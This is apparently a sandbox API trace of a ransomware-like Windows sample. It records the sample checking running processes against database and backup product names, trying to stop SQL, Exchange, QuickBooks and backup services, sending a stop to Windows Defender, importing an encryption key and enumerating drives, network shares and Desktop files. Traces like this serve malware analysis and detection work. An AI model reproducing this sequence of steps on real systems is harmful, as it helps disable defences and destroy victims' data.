[0111.554] Process32NextW (in: hSnapshot=0xb0, lppe=0x3ef748 | out: lppe=0x3ef748*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x3ac, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x6, th32ParentProcessID=0x2c8, pcPriClassBase=8, dwFlags=0x0, szExeFile="audiodg.exe")) returned 1
[0111.554] StrCmpNW (lpStr1="audio", lpStr2="mysql", nChar=5) returned -1
[0111.554] StrCmpNW (lpStr1="aud", lpStr2="IBM", nChar=3) returned -1
[0111.554] StrCmpNW (lpStr1="audio", lpStr2="bes10", nChar=5) returned -1
[0111.554] StrCmpNW (lpStr1="audio", lpStr2="black", nChar=5) returned -1
[0111.554] StrCmpNW (lpStr1="aud", lpStr2="sql", nChar=3) returned -1
[0111.554] StrCmpNW (lpStr1="audiodg.e", lpStr2="store.exe", nChar=9) returned -1
[0111.554] StrCmpNW (lpStr1="aud", lpStr2="vee", nChar=3) returned -1
[0111.554] StrCmpNW (lpStr1="audio", lpStr2="postg", nChar=5) returned -1
[0111.554] StrCmpNW (lpStr1="audi", lpStr2="sage", nChar=4) returned -1
[0111.555] Process32NextW (in: hSnapshot=0xb0, lppe=0x3ef748 | out: lppe=0x3ef748*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x3f8, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x10, th32ParentProcessID=0x1d0, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1
[0111.555] StrCmpNW (lpStr1="svcho", lpStr2="mysql", nChar=5) returned 1
[0111.555] StrCmpNW (lpStr1="svc", lpStr2="IBM", nChar=3) returned 1
[0111.555] StrCmpNW (lpStr1="svcho", lpStr2="bes10", nChar=5) returned 1
[0111.555] StrCmpNW (lpStr1="svcho", lpStr2="black", nChar=5) returned 1
[0111.555] StrCmpNW (lpStr1="svc", lpStr2="sql", nChar=3) returned 1
[0111.555] StrCmpNW (lpStr1="svchost.e", lpStr2="store.exe", nChar=9) returned 1
[0111.555] StrCmpNW (lpStr1="svc", lpStr2="vee", nChar=3) returned -1
[0111.555] StrCmpNW (lpStr1="svcho", lpStr2="postg", nChar=5) returned 1
[0111.555] StrCmpNW (lpStr1="svch", lpStr2="sage", nChar=4) returned 1
[0111.555] Process32NextW (in: hSnapshot=0xb0, lppe=0x3ef748 | out: lppe=0x3ef748*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x308, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x3, th32ParentProcessID=0x1ac, pcPriClassBase=8, dwFlags=0x0, szExeFile="userinit.exe")) returned 1
[0111.555] StrCmpNW (lpStr1="useri", lpStr2="mysql", nChar=5) returned 1
[0111.555] StrCmpNW (lpStr1="use", lpStr2="IBM", nChar=3) returned 1
[0111.555] StrCmpNW (lpStr1="useri", lpStr2="bes10", nChar=5) returned 1
[0111.555] StrCmpNW (lpStr1="useri", lpStr2="black", nChar=5) returned 1
[0111.556] StrCmpNW (lpStr1="use", lpStr2="sql", nChar=3) returned 1
[0111.556] StrCmpNW (lpStr1="userinit.", lpStr2="store.exe", nChar=9) returned 1
[0111.556] StrCmpNW (lpStr1="use", lpStr2="vee", nChar=3) returned -1
[0111.556] StrCmpNW (lpStr1="useri", lpStr2="postg", nChar=5) returned 1
[0111.556] StrCmpNW (lpStr1="user", lpStr2="sage", nChar=4) returned 1
[0111.556] Process32NextW (in: hSnapshot=0xb0, lppe=0x3ef748 | out: lppe=0x3ef748*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x378, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x20, th32ParentProcessID=0x308, pcPriClassBase=8, dwFlags=0x0, szExeFile="explorer.exe")) returned 1
[0111.556] StrCmpNW (lpStr1="explo", lpStr2="mysql", nChar=5) returned -1
[0111.556] StrCmpNW (lpStr1="exp", lpStr2="IBM", nChar=3) returned -1
[0111.556] StrCmpNW (lpStr1="explo", lpStr2="bes10", nChar=5) returned 1
[0111.556] StrCmpNW (lpStr1="explo", lpStr2="black", nChar=5) returned 1
[0111.556] StrCmpNW (lpStr1="exp", lpStr2="sql", nChar=3) returned -1
[0111.556] StrCmpNW (lpStr1="explorer.", lpStr2="store.exe", nChar=9) returned -1
[0111.556] StrCmpNW (lpStr1="exp", lpStr2="vee", nChar=3) returned -1
[0111.556] StrCmpNW (lpStr1="explo", lpStr2="postg", nChar=5) returned -1
[0111.556] StrCmpNW (lpStr1="expl", lpStr2="sage", nChar=4) returned -1
[0111.556] Process32NextW (in: hSnapshot=0xb0, lppe=0x3ef748 | out: lppe=0x3ef748*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x414, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x3, th32ParentProcessID=0x338, pcPriClassBase=8, dwFlags=0x0, szExeFile="dwm.exe")) returned 1
[0111.557] StrCmpNW (lpStr1="dwm.e", lpStr2="mysql", nChar=5) returned -1
[0111.557] StrCmpNW (lpStr1="dwm", lpStr2="IBM", nChar=3) returned -1
[0111.557] StrCmpNW (lpStr1="dwm.e", lpStr2="bes10", nChar=5) returned 1
[0111.557] StrCmpNW (lpStr1="dwm.e", lpStr2="black", nChar=5) returned 1
[0111.557] StrCmpNW (lpStr1="dwm", lpStr2="sql", nChar=3) returned -1
[0111.557] StrCmpNW (lpStr1="dwm.exe", lpStr2="store.exe", nChar=9) returned -1
[0111.557] StrCmpNW (lpStr1="dwm", lpStr2="vee", nChar=3) returned -1
[0111.557] StrCmpNW (lpStr1="dwm.e", lpStr2="postg", nChar=5) returned -1
[0111.557] StrCmpNW (lpStr1="dwm.", lpStr2="sage", nChar=4) returned -1
[0111.557] Process32NextW (in: hSnapshot=0xb0, lppe=0x3ef748 | out: lppe=0x3ef748*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x448, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x13, th32ParentProcessID=0x1d0, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1
[0111.557] StrCmpNW (lpStr1="svcho", lpStr2="mysql", nChar=5) returned 1
[0111.557] StrCmpNW (lpStr1="svc", lpStr2="IBM", nChar=3) returned 1
[0111.557] StrCmpNW (lpStr1="svcho", lpStr2="bes10", nChar=5) returned 1
[0111.557] StrCmpNW (lpStr1="svcho", lpStr2="black", nChar=5) returned 1
[0111.557] StrCmpNW (lpStr1="svc", lpStr2="sql", nChar=3) returned 1
[0111.557] StrCmpNW (lpStr1="svchost.e", lpStr2="store.exe", nChar=9) returned 1
[0111.557] StrCmpNW (lpStr1="svc", lpStr2="vee", nChar=3) returned -1
[0111.557] StrCmpNW (lpStr1="svcho", lpStr2="postg", nChar=5) returned 1
[0111.557] StrCmpNW (lpStr1="svch", lpStr2="sage", nChar=4) returned 1
[0111.557] Process32NextW (in: hSnapshot=0xb0, lppe=0x3ef748 | out: lppe=0x3ef748*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x4dc, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x7, th32ParentProcessID=0x378, pcPriClassBase=8, dwFlags=0x0, szExeFile="mshta.exe")) returned 1
[0111.558] StrCmpNW (lpStr1="mshta", lpStr2="mysql", nChar=5) returned -1
[0111.558] StrCmpNW (lpStr1="msh", lpStr2="IBM", nChar=3) returned 1
[0111.558] StrCmpNW (lpStr1="mshta", lpStr2="bes10", nChar=5) returned 1
[0111.558] StrCmpNW (lpStr1="mshta", lpStr2="black", nChar=5) returned 1
[0111.558] StrCmpNW (lpStr1="msh", lpStr2="sql", nChar=3) returned -1
[0111.558] StrCmpNW (lpStr1="mshta.exe", lpStr2="store.exe", nChar=9) returned -1
[0111.558] StrCmpNW (lpStr1="msh", lpStr2="vee", nChar=3) returned -1
[0111.558] StrCmpNW (lpStr1="mshta", lpStr2="postg", nChar=5) returned -1
[0111.558] StrCmpNW (lpStr1="msht", lpStr2="sage", nChar=4) returned -1
[0111.558] Process32NextW (in: hSnapshot=0xb0, lppe=0x3ef748 | out: lppe=0x3ef748*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x514, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x6, th32ParentProcessID=0x1d0, pcPriClassBase=8, dwFlags=0x0, szExeFile="spoolsv.exe")) returned 1
[0111.558] StrCmpNW (lpStr1="spool", lpStr2="mysql", nChar=5) returned 1
[0111.558] StrCmpNW (lpStr1="spo", lpStr2="IBM", nChar=3) returned 1
[0111.558] StrCmpNW (lpStr1="spool", lpStr2="bes10", nChar=5) returned 1
[0111.558] StrCmpNW (lpStr1="spool", lpStr2="black", nChar=5) returned 1
[0111.558] StrCmpNW (lpStr1="spo", lpStr2="sql", nChar=3) returned -1
[0111.558] StrCmpNW (lpStr1="spoolsv.e", lpStr2="store.exe", nChar=9) returned -1
[0111.558] StrCmpNW (lpStr1="spo", lpStr2="vee", nChar=3) returned -1
[0111.558] StrCmpNW (lpStr1="spool", lpStr2="postg", nChar=5) returned 1
[0111.558] StrCmpNW (lpStr1="spoo", lpStr2="sage", nChar=4) returned 1
[0111.558] Process32NextW (in: hSnapshot=0xb0, lppe=0x3ef748 | out: lppe=0x3ef748*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x520, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x3, th32ParentProcessID=0x4cc, pcPriClassBase=8, dwFlags=0x0, szExeFile="reader_sl.exe")) returned 1
[0111.559] StrCmpNW (lpStr1="reade", lpStr2="mysql", nChar=5) returned 1
[0111.559] StrCmpNW (lpStr1="rea", lpStr2="IBM", nChar=3) returned 1
[0111.559] StrCmpNW (lpStr1="reade", lpStr2="bes10", nChar=5) returned 1
[0111.559] StrCmpNW (lpStr1="reade", lpStr2="black", nChar=5) returned 1
[0111.559] StrCmpNW (lpStr1="rea", lpStr2="sql", nChar=3) returned -1
[0111.559] StrCmpNW (lpStr1="reader_sl", lpStr2="store.exe", nChar=9) returned -1
[0111.559] StrCmpNW (lpStr1="rea", lpStr2="vee", nChar=3) returned -1
[0111.559] StrCmpNW (lpStr1="reade", lpStr2="postg", nChar=5) returned 1
[0111.559] StrCmpNW (lpStr1="read", lpStr2="sage", nChar=4) returned -1
[0111.559] Process32NextW (in: hSnapshot=0xb0, lppe=0x3ef748 | out: lppe=0x3ef748*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x57c, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0xb, th32ParentProcessID=0x1d0, pcPriClassBase=8, dwFlags=0x0, szExeFile="taskhost.exe")) returned 1
[0111.559] StrCmpNW (lpStr1="taskh", lpStr2="mysql", nChar=5) returned 1
[0111.559] StrCmpNW (lpStr1="tas", lpStr2="IBM", nChar=3) returned 1
[0111.559] StrCmpNW (lpStr1="taskh", lpStr2="bes10", nChar=5) returned 1
[0111.559] StrCmpNW (lpStr1="taskh", lpStr2="black", nChar=5) returned 1
[0111.559] StrCmpNW (lpStr1="tas", lpStr2="sql", nChar=3) returned 1
[0111.559] StrCmpNW (lpStr1="taskhost.", lpStr2="store.exe", nChar=9) returned 1
[0111.559] StrCmpNW (lpStr1="tas", lpStr2="vee", nChar=3) returned -1
[0111.560] StrCmpNW (lpStr1="taskh", lpStr2="postg", nChar=5) returned 1
[0111.560] StrCmpNW (lpStr1="task", lpStr2="sage", nChar=4) returned 1
[0111.560] Process32NextW (in: hSnapshot=0xb0, lppe=0x3ef748 | out: lppe=0x3ef748*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x59c, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x17, th32ParentProcessID=0x1d0, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1
[0111.560] StrCmpNW (lpStr1="svcho", lpStr2="mysql", nChar=5) returned 1
[0111.560] StrCmpNW (lpStr1="svc", lpStr2="IBM", nChar=3) returned 1
[0111.560] StrCmpNW (lpStr1="svcho", lpStr2="bes10", nChar=5) returned 1
[0111.560] StrCmpNW (lpStr1="svcho", lpStr2="black", nChar=5) returned 1
[0111.560] StrCmpNW (lpStr1="svc", lpStr2="sql", nChar=3) returned 1
[0111.560] StrCmpNW (lpStr1="svchost.e", lpStr2="store.exe", nChar=9) returned 1
[0111.560] StrCmpNW (lpStr1="svc", lpStr2="vee", nChar=3) returned -1
[0111.560] StrCmpNW (lpStr1="svcho", lpStr2="postg", nChar=5) returned 1
[0111.560] StrCmpNW (lpStr1="svch", lpStr2="sage", nChar=4) returned 1
[0111.560] Process32NextW (in: hSnapshot=0xb0, lppe=0x3ef748 | out: lppe=0x3ef748*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x7c0, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x6, th32ParentProcessID=0x1d0, pcPriClassBase=6, dwFlags=0x0, szExeFile="taskhost.exe")) returned 1
[0111.560] StrCmpNW (lpStr1="taskh", lpStr2="mysql", nChar=5) returned 1
[0111.560] StrCmpNW (lpStr1="tas", lpStr2="IBM", nChar=3) returned 1
[0111.561] StrCmpNW (lpStr1="taskh", lpStr2="bes10", nChar=5) returned 1
[0111.561] StrCmpNW (lpStr1="taskh", lpStr2="black", nChar=5) returned 1
[0111.561] StrCmpNW (lpStr1="tas", lpStr2="sql", nChar=3) returned 1
[0111.561] StrCmpNW (lpStr1="taskhost.", lpStr2="store.exe", nChar=9) returned 1
[0111.561] StrCmpNW (lpStr1="tas", lpStr2="vee", nChar=3) returned -1
[0111.561] StrCmpNW (lpStr1="taskh", lpStr2="postg", nChar=5) returned 1
[0111.561] StrCmpNW (lpStr1="task", lpStr2="sage", nChar=4) returned 1
[0111.561] Process32NextW (in: hSnapshot=0xb0, lppe=0x3ef748 | out: lppe=0x3ef748*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x52c, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x6, th32ParentProcessID=0x254, pcPriClassBase=8, dwFlags=0x0, szExeFile="dllhost.exe")) returned 1
[0111.561] StrCmpNW (lpStr1="dllho", lpStr2="mysql", nChar=5) returned -1
[0111.561] StrCmpNW (lpStr1="dll", lpStr2="IBM", nChar=3) returned -1
[0111.561] StrCmpNW (lpStr1="dllho", lpStr2="bes10", nChar=5) returned 1
[0111.561] StrCmpNW (lpStr1="dllho", lpStr2="black", nChar=5) returned 1
[0111.561] StrCmpNW (lpStr1="dll", lpStr2="sql", nChar=3) returned -1
[0111.561] StrCmpNW (lpStr1="dllhost.e", lpStr2="store.exe", nChar=9) returned -1
[0111.561] Process32NextW (in: hSnapshot=0xb0, lppe=0x3ef748 | out: lppe=0x3ef748*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x360, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x6, th32ParentProcessID=0x254, pcPriClassBase=8, dwFlags=0x0, szExeFile="dllhost.exe")) returned 1
[0111.562] Process32NextW (in: hSnapshot=0xb0, lppe=0x3ef748 | out: lppe=0x3ef748*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x6b0, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x4d4, pcPriClassBase=8, dwFlags=0x0, szExeFile="twU5X5u5JjqyRmBjT4Z9MFf9KNV5.exe")) returned 1
[0111.562] Process32NextW (in: hSnapshot=0xb0, lppe=0x3ef748 | out: lppe=0x3ef748*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x688, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x6b0, pcPriClassBase=8, dwFlags=0x0, szExeFile="vssadmin.exe")) returned 1
[0111.562] Process32NextW (in: hSnapshot=0xb0, lppe=0x3ef748 | out: lppe=0x3ef748*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x688, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x6b0, pcPriClassBase=8, dwFlags=0x0, szExeFile="vssadmin.exe")) returned 0
[0111.563] CloseHandle (hObject=0xb0) returned 1
[0111.563] OpenSCManagerW (lpMachineName=0x0, lpDatabaseName=0x0, dwDesiredAccess=0x1) returned 0x82df40
[0111.587] OpenServiceW (hSCManager=0x82df40, lpServiceName="MSSQLServerADHelper100", dwDesiredAccess=0x20) returned 0x0
[0111.587] OpenServiceW (hSCManager=0x82df40, lpServiceName="MSSQL$ISARS", dwDesiredAccess=0x20) returned 0x0
[0111.587] OpenServiceW (hSCManager=0x82df40, lpServiceName="MSSQL$MSFW", dwDesiredAccess=0x20) returned 0x0
[0111.588] OpenServiceW (hSCManager=0x82df40, lpServiceName="SQLAgent$ISARS", dwDesiredAccess=0x20) returned 0x0
[0111.588] OpenServiceW (hSCManager=0x82df40, lpServiceName="SQLAgent$MSFW", dwDesiredAccess=0x20) returned 0x0
[0111.588] OpenServiceW (hSCManager=0x82df40, lpServiceName="MSExchangeFBA", dwDesiredAccess=0x20) returned 0x0
[0111.588] OpenServiceW (hSCManager=0x82df40, lpServiceName="QuickBooksDB1", dwDesiredAccess=0x20) returned 0x0
[0111.588] OpenServiceW (hSCManager=0x82df40, lpServiceName="QuickBooksDB2", dwDesiredAccess=0x20) returned 0x0
[0111.588] OpenServiceW (hSCManager=0x82df40, lpServiceName="QuickBooksDB3", dwDesiredAccess=0x20) returned 0x0
[0111.589] OpenServiceW (hSCManager=0x82df40, lpServiceName="QuickBooksDB4", dwDesiredAccess=0x20) returned 0x0
[0111.589] OpenServiceW (hSCManager=0x82df40, lpServiceName="QuickBooksDB5", dwDesiredAccess=0x20) returned 0x0
[0111.589] OpenServiceW (hSCManager=0x82df40, lpServiceName="QuickBooksDB6", dwDesiredAccess=0x20) returned 0x0
[0111.589] OpenServiceW (hSCManager=0x82df40, lpServiceName="QuickBooksDB7", dwDesiredAccess=0x20) returned 0x0
[0111.589] OpenServiceW (hSCManager=0x82df40, lpServiceName="QuickBooksDB8", dwDesiredAccess=0x20) returned 0x0
[0111.589] OpenServiceW (hSCManager=0x82df40, lpServiceName="QuickBooksDB9", dwDesiredAccess=0x20) returned 0x0
[0111.590] OpenServiceW (hSCManager=0x82df40, lpServiceName="QuickBooksDB10", dwDesiredAccess=0x20) returned 0x0
[0111.590] OpenServiceW (hSCManager=0x82df40, lpServiceName="QuickBooksDB11", dwDesiredAccess=0x20) returned 0x0
[0111.590] OpenServiceW (hSCManager=0x82df40, lpServiceName="QuickBooksDB12", dwDesiredAccess=0x20) returned 0x0
[0111.590] OpenServiceW (hSCManager=0x82df40, lpServiceName="QuickBooksDB13", dwDesiredAccess=0x20) returned 0x0
[0111.590] OpenServiceW (hSCManager=0x82df40, lpServiceName="QuickBooksDB14", dwDesiredAccess=0x20) returned 0x0
[0111.590] OpenServiceW (hSCManager=0x82df40, lpServiceName="QuickBooksDB15", dwDesiredAccess=0x20) returned 0x0
[0111.591] OpenServiceW (hSCManager=0x82df40, lpServiceName="QuickBooksDB16", dwDesiredAccess=0x20) returned 0x0
[0111.591] OpenServiceW (hSCManager=0x82df40, lpServiceName="QuickBooksDB17", dwDesiredAccess=0x20) returned 0x0
[0111.591] OpenServiceW (hSCManager=0x82df40, lpServiceName="QuickBooksDB18", dwDesiredAccess=0x20) returned 0x0
[0111.591] OpenServiceW (hSCManager=0x82df40, lpServiceName="QuickBooksDB19", dwDesiredAccess=0x20) returned 0x0
[0111.591] OpenServiceW (hSCManager=0x82df40, lpServiceName="QuickBooksDB20", dwDesiredAccess=0x20) returned 0x0
[0111.591] OpenServiceW (hSCManager=0x82df40, lpServiceName="QuickBooksDB21", dwDesiredAccess=0x20) returned 0x0
[0111.592] OpenServiceW (hSCManager=0x82df40, lpServiceName="QuickBooksDB22", dwDesiredAccess=0x20) returned 0x0
[0111.592] OpenServiceW (hSCManager=0x82df40, lpServiceName="QuickBooksDB23", dwDesiredAccess=0x20) returned 0x0
[0111.592] OpenServiceW (hSCManager=0x82df40, lpServiceName="QuickBooksDB24", dwDesiredAccess=0x20) returned 0x0
[0111.592] OpenServiceW (hSCManager=0x82df40, lpServiceName="QuickBooksDB25", dwDesiredAccess=0x20) returned 0x0
[0111.592] OpenServiceW (hSCManager=0x82df40, lpServiceName="IBM Domino Diagnostics (CProgramFilesIBMDomino)", dwDesiredAccess=0x20) returned 0x0
[0111.592] OpenServiceW (hSCManager=0x82df40, lpServiceName="MSExchangeIS", dwDesiredAccess=0x20) returned 0x0
[0111.593] OpenServiceW (hSCManager=0x82df40, lpServiceName="MSExchangeSA", dwDesiredAccess=0x20) returned 0x0
[0111.593] OpenServiceW (hSCManager=0x82df40, lpServiceName="IBM Domino Server (CProgramFilesIBMDominodata)", dwDesiredAccess=0x20) returned 0x0
[0111.593] OpenServiceW (hSCManager=0x82df40, lpServiceName="IISADMIN", dwDesiredAccess=0x20) returned 0x0
[0111.593] OpenServiceW (hSCManager=0x82df40, lpServiceName="SQLBrowser", dwDesiredAccess=0x20) returned 0x0
[0111.593] OpenServiceW (hSCManager=0x82df40, lpServiceName="ReportServer$ISARS", dwDesiredAccess=0x20) returned 0x0
[0111.593] OpenServiceW (hSCManager=0x82df40, lpServiceName="SQLWriter", dwDesiredAccess=0x20) returned 0x0
[0111.594] OpenServiceW (hSCManager=0x82df40, lpServiceName="MSExchangeADTopology", dwDesiredAccess=0x20) returned 0x0
[0111.594] OpenServiceW (hSCManager=0x82df40, lpServiceName="WinDefend", dwDesiredAccess=0x20) returned 0x82dea0
[0111.594] ControlService (in: hService=0x82dea0, dwControl=0x1, lpServiceStatus=0x3ef974 | out: lpServiceStatus=0x3ef974*(dwServiceType=0x20, dwCurrentState=0x1, dwControlsAccepted=0x0, dwWin32ExitCode=0x435, dwServiceSpecificExitCode=0x0, dwCheckPoint=0x0, dwWaitHint=0x0)) returned 0
[0111.595] CloseServiceHandle (hSCObject=0x82dea0) returned 1
[0111.595] OpenServiceW (hSCManager=0x82df40, lpServiceName="mr2kserv", dwDesiredAccess=0x20) returned 0x0
[0111.595] OpenServiceW (hSCManager=0x82df40, lpServiceName="QBVSS", dwDesiredAccess=0x20) returned 0x0
[0111.595] OpenServiceW (hSCManager=0x82df40, lpServiceName="QBCFMonitorService", dwDesiredAccess=0x20) returned 0x0
[0111.595] OpenServiceW (hSCManager=0x82df40, lpServiceName="QBPOSDBServiceV12", dwDesiredAccess=0x20) returned 0x0
[0111.596] OpenServiceW (hSCManager=0x82df40, lpServiceName="ibmiasrw", dwDesiredAccess=0x20) returned 0x0
[0111.596] OpenServiceW (hSCManager=0x82df40, lpServiceName="Simply Accounting Database Connection Manager", dwDesiredAccess=0x20) returned 0x0
[0111.596] OpenServiceW (hSCManager=0x82df40, lpServiceName="firebirdguardiandefaultinstance", dwDesiredAccess=0x20) returned 0x0
[0111.596] OpenServiceW (hSCManager=0x82df40, lpServiceName="SPSearch4", dwDesiredAccess=0x20) returned 0x0
[0111.596] OpenServiceW (hSCManager=0x82df40, lpServiceName="SPWriterV4", dwDesiredAccess=0x20) returned 0x0
[0111.596] OpenServiceW (hSCManager=0x82df40, lpServiceName="SPUserCodeV4", dwDesiredAccess=0x20) returned 0x0
[0111.597] OpenServiceW (hSCManager=0x82df40, lpServiceName="SPTraceV4", dwDesiredAccess=0x20) returned 0x0
[0111.597] OpenServiceW (hSCManager=0x82df40, lpServiceName="SPTimerV4", dwDesiredAccess=0x20) returned 0x0
[0111.597] OpenServiceW (hSCManager=0x82df40, lpServiceName="SPAdminV4", dwDesiredAccess=0x20) returned 0x0
[0111.597] OpenServiceW (hSCManager=0x82df40, lpServiceName="ShadowProtectSvc", dwDesiredAccess=0x20) returned 0x0
[0111.597] CloseServiceHandle (hSCObject=0x82df40) returned 1
[0111.631] GetTickCount () returned 0x1133bc9
[0111.631] GetTickCount () returned 0x1133bc9
[0111.631] GetTickCount () returned 0x1133bc9
[0111.631] GetTickCount () returned 0x1133bc9
[0111.631] GetTickCount () returned 0x1133bc9
[0111.631] GetTickCount () returned 0x1133bc9
[0111.631] GetTickCount () returned 0x1133bc9
[0111.631] GetTickCount () returned 0x1133bc9
[0111.632] CryptImportKey (in: hProv=0x82eb30, pbData=0x82e618, dwDataLen=0x114, hPubKey=0x0, dwFlags=0x0, phKey=0x3ef990 | out: phKey=0x3ef990*=0x832050) returned 1
[0111.632] CryptEncrypt (in: hKey=0x832050, hHash=0x0, Final=1, dwFlags=0x0, pbData=0xc38ef0*, pdwDataLen=0x3ef988*=0x20, dwBufLen=0x100 | out: pbData=0xc38ef0*, pdwDataLen=0x3ef988*=0x100) returned 1
[0111.634] CryptDestroyKey (hKey=0x832050) returned 1
[0111.634] CryptReleaseContext (hProv=0x82eb30, dwFlags=0x0) returned 1
[0111.634] SHGetFolderPathW (in: hwnd=0x0, csidl=0, hToken=0x0, dwFlags=0x0, pszPath=0xc39220 | out: pszPath="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Desktop") returned 0x0
[0111.635] GetLogicalDrives () returned 0x4
[0111.635] wnsprintfW (in: pszDest=0x3ef944, cchDest=25, pszFmt="%c:\\" | out: pszDest="C:\\") returned 3
[0111.635] GetDriveTypeW (lpRootPathName="C:\\") returned 0x3
[0111.635] GetProcessHeap () returned 0x810000
[0111.635] RtlAllocateHeap (HeapHandle=0x810000, Flags=0x8, Size=0x208) returned 0x833788
[0111.635] wnsprintfW (in: pszDest=0x833788, cchDest=260, pszFmt="\\\\?\\%c:" | out: pszDest="\\\\?\\C:") returned 6
[0111.635] CreateThread (in: lpThreadAttributes=0x0, dwStackSize=0x0, lpStartAddress=0xc31d9c, lpParameter=0x833788, dwCreationFlags=0x0, lpThreadId=0x0 | out: lpThreadId=0x0) returned 0xfc
[0111.636] WaitForMultipleObjects (nCount=0x1, lpHandles=0x3ef978*=0xfc, bWaitAll=1, dwMilliseconds=0xffffffff) returned 0x0
[0132.603] CloseHandle (hObject=0xfc) returned 1
[0132.604] WNetOpenEnumW (in: dwScope=0x2, dwType=0x0, dwUsage=0x13, lpNetResource=0x0, lphEnum=0x3ef91c | out: lphEnum=0x3ef91c*=0x876c38) returned 0x0
[0133.496] GetProcessHeap () returned 0x810000
[0133.496] RtlAllocateHeap (HeapHandle=0x810000, Flags=0x8, Size=0x4000) returned 0x877be0
[0133.496] WNetEnumResourceW (in: hEnum=0x876c38, lpcCount=0x3ef928, lpBuffer=0x877be0, lpBufferSize=0x3ef920 | out: lpcCount=0x3ef928, lpBuffer=0x877be0, lpBufferSize=0x3ef920) returned 0x0
[0133.496] WNetOpenEnumW (in: dwScope=0x2, dwType=0x0, dwUsage=0x13, lpNetResource=0x877be0, lphEnum=0x3ef8f4 | out: lphEnum=0x3ef8f4*=0x82ff80) returned 0x0
[0133.500] GetProcessHeap () returned 0x810000
[0133.500] RtlAllocateHeap (HeapHandle=0x810000, Flags=0x8, Size=0x4000) returned 0x87bbe8
[0133.500] WNetEnumResourceW (in: hEnum=0x82ff80, lpcCount=0x3ef900, lpBuffer=0x87bbe8, lpBufferSize=0x3ef8f8 | out: lpcCount=0x3ef900, lpBuffer=0x87bbe8, lpBufferSize=0x3ef8f8) returned 0x103
[0133.500] GetProcessHeap () returned 0x810000
[0133.500] HeapFree (in: hHeap=0x810000, dwFlags=0x8, lpMem=0x87bbe8 | out: hHeap=0x810000) returned 1
[0133.500] WNetCloseEnum (hEnum=0x82ff80) returned 0x0
[0133.500] WNetOpenEnumW (in: dwScope=0x2, dwType=0x0, dwUsage=0x13, lpNetResource=0x877c00, lphEnum=0x3ef8f4 | out: lphEnum=0x3ef8f4*=0x82ff80) returned 0x4b8
[0146.246] WNetOpenEnumW (in: dwScope=0x2, dwType=0x0, dwUsage=0x13, lpNetResource=0x877c20, lphEnum=0x3ef8f4 | out: lphEnum=0x3ef8f4*=0x82ff80) returned 0x4c6
[0146.247] WNetEnumResourceW (in: hEnum=0x876c38, lpcCount=0x3ef928, lpBuffer=0x877be0, lpBufferSize=0x3ef920 | out: lpcCount=0x3ef928, lpBuffer=0x877be0, lpBufferSize=0x3ef920) returned 0x103
[0146.247] GetProcessHeap () returned 0x810000
[0146.247] HeapFree (in: hHeap=0x810000, dwFlags=0x8, lpMem=0x877be0 | out: hHeap=0x810000) returned 1
[0146.250] WNetCloseEnum (hEnum=0x876c38) returned 0x0
[0146.250] GetProcessHeap () returned 0x810000
[0146.250] RtlAllocateHeap (HeapHandle=0x810000, Flags=0x8, Size=0xfffe) returned 0x22d0048
[0146.251] wnsprintfW (in: pszDest=0x22d0048, cchDest=32767, pszFmt="%s\\*" | out: pszDest="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Desktop\\*") returned 39
[0146.251] FindFirstFileW (in: lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Desktop\\*", lpFindFileData=0x3ef720 | out: lpFindFileData=0x3ef720*(dwFileAttributes=0x11, ftCreationTime.dwLowDateTime=0x28cff640, ftCreationTime.dwHighDateTime=0x1d2dd9c, ftLastAccessTime.dwLowDateTime=0xb7763640, ftLastAccessTime.dwHighDateTime=0x1d5e184, ftLastWriteTime.dwLowDateTime=0xb7763640, ftLastWriteTime.dwHighDateTime=0x1d5e184, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x810000, dwReserved1=0x8fef18, cFileName=".", cAlternateFileName="")) returned 0x876c38
[0146.251] wnsprintfW (in: pszDest=0x22d0048, cchDest=32767, pszFmt="%s\\%s" | out: pszDest="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Desktop\\.") returned 39
[0146.251] StrStrIW (lpFirst=".", lpSrch="SDfghjkl") returned 0x0
